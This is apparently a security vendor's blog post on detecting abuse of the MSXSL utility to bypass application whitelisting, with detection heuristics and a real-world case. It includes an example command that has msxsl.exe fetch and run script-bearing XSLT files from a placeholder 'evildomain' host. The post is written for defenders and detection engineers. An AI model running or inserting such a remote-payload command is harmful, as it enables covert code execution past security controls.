The volume of research in the information security community is at an all-time high with researchers chasing zero-days, bug bounties, and ways to bypass new security controls. Despite this wealth of research, not all new techniques catch on. The same way you enjoy listening to your favorite songs, adversaries love to go back and work with their favorite time-tested techniques. Defenders can usually build detection rules using proofs of concept, but a lack of real-world examples makes the job much more difficult.
This blog will share detection strategies for a lesser-used but well-documented technique: the MSXSL application whitelisting bypass.
What Is MSXSL Anyway?
The command line transformation utility MSXSL was first identified as a potential vector for bypassing application whitelisting controls such as AppLocker in 2017 by Casey Smith.
The original purpose of the utility is to apply a transform specified by a file in the eXtensible Stylesheet Language Transformations (XSLT) format. These kinds of transformations typically involve converting an XML file into some other (usually prettier) format, like HTML for a website or plaintext. The markup is formatted in a manner similar to how Cascading Style Sheets transform HTML pages.
Because of its purpose, MSXSL takes a minimum of two arguments: the XML file to transform and the XSLT file, which specifies how to transform the XML file. The tool also supports several optional arguments, most of which are for customizing and controlling the transformation. One argument in particular that may seem fairly benign but has excellent potential for detecting malicious use is the -o flag, which is used to specify an output file for the transformation. (More on this later.)
There are a couple more important things to note about MSXSL. First, this tool is not native to any version of Windows, which means it must be downloaded from the Microsoft website or distributed somehow. The second thing to note is that it’s tiny; at the time of writing, the latest version (1.1.0.1) is only 24,896 bytes. This small size enables easy distribution over network connections in a relatively covert manner. Since it isn’t included by default, the mere presence of the utility may be enough to raise suspicion, depending on the environment.
The Bypass
Now that we understand how the tool can be used, let’s look at how it can be abused. As with many tools, the filetype of the two required arguments is validated based on the file contents, not the file extension. Therefore, the file extension could be .xml or .xslt, but it could also be anything else, like .txt or .exe. There isn’t much reason for a legitimate user not to use the standard file extensions, so anything else is a bit fishy. A good example of a legitimate command line for this tool might be:
msxsl.exe customers.xml transform.xsl -o output.txt
Things really escalated when Casey figured out that the parameter files don’t even have to be local; they can be specified with a URL. This doesn’t require any special arguments or flags. Simply replace the file path with a URL and voilà! It still works. Now an adversary merely has to find a way to get msxsl.exe, a Microsoft-signed binary, onto disk and execute a single command. This shows how flexible the bypass can become through the various ways payloads can be distributed to execute commands. A good example of a suspicious command line for this tool might be:
msxsl.exe https://evildomain/totallylegit.txt
https://evildomain/moreevil.txt
MSXSL relies on built-in XML support by processing the ms:script element, which allows a user to specify a script to be executed during the transform. This enables use of several common vehicles for code execution supported by Windows, such as VBScript, JScript, and even COM objects. Scripts executed in this fashion will send their output to wherever the standard output of the MSXSL utility is directed.
Combining all these aspects allows for the execution of code stored in a remote location, with only a legitimate Microsoft binary actually on disk. The only caveat is that two files are required and they must be valid XML (but even simply </> is valid XML). This is how the technique is able to bypass application whitelisting controls; very little is actually needed on disk for success. This also makes it relatively stealthy and difficult to detect. Difficult…but not impossible.
Detection Strategies
After reading about this technique, Red Canary detection engineers investigated the behavior of both legitimate and malicious use of the MSXSL utility in order to construct the most robust detection capabilities. Because the utility has a legitimate use, many false positive processes were available for review.
Since many of the legitimate use cases for the tool involve transforming large amounts of data, the tool is usually run with the -o argument to specify an output file. If this argument is not included in the command, the output will be written to standard out, which is not practical for such large operations. A very simple, yet effective method of detecting malicious uses is to look for a process command line which does NOT contain the -o argument. Since the adversary’s intent is to execute code and not actually transform XML, the input file is usually nearly empty, which produces no unnecessary output.
As previously discussed, MSXSL can be directed to remote files by specifying a URL in the command line. When this is done it causes msxsl.exe to initiate a network connection to the specified domain/IP address. This leads to two separate ways to identify this particular flavor of application whitelisting bypass: looking for execution of MSXSL with a valid URL in the command line, and instances of MSXSL making network connections. There could be legitimate reasons to operate on files located elsewhere on an internal network, so it may be prudent to focus on connections to external network hosts, but every environment varies.
Finally, defenders should be mindful that this utility can be easily renamed by adversaries before execution to evade simple detection based on process name. If you have access to binary properties such as the internal name property, you can quickly dial in on renamed instances of MSXSL by looking for binaries with an internal name of “msxsl”.
A Real-World Example
Utilizing the detection methods outlined above, Red Canary observed MSXSL abuse in the wild. Although we have rarely observed this technique in a real-world scenario, this example is immediately suspicious.
The following is a malicious command line:
Even for someone unfamiliar with the the ways MSXSL can be misused, a binary located in %APPDATA% operating on two randomly named text files also in %APPDATA% is highly suspect. Looking a bit further, it only takes a moment to see a network connection to a Kazakh domain, which was irregular for this particular customer. Additionally, there are a handful of interesting child processes, which enumerated host information and saved it to disk.
This command records the system’s current IPv4 address:
This command saves a CSV of all current scheduled tasks on the system:
On their own, these might be unusual—but adjacent to the other observed activity, they become highly suspicious. These process executions led to a high-priority detection for the affected customer.
Conclusion
Hopefully you now have a solid understanding of MSXSL and how it can be used to circumvent application whitelisting controls. To kickstart detection in your own environment, try surveying process execution data to find the presence of msxsl.exe. Depending on its prevalence and use case in your organization, craft a detection strategy using some of our suggested measures such as looking for external network connections from the MSXSL process and binaries that could be renamed versions of the utility. Finally, jump into testing your security by creating your own payload to attempt a bypass using msxsl.exe or using the Atomic Red Team test.
Acknowledgments
Special thanks to Casey Smith for taking time to help me understand the inner-workings of this technique!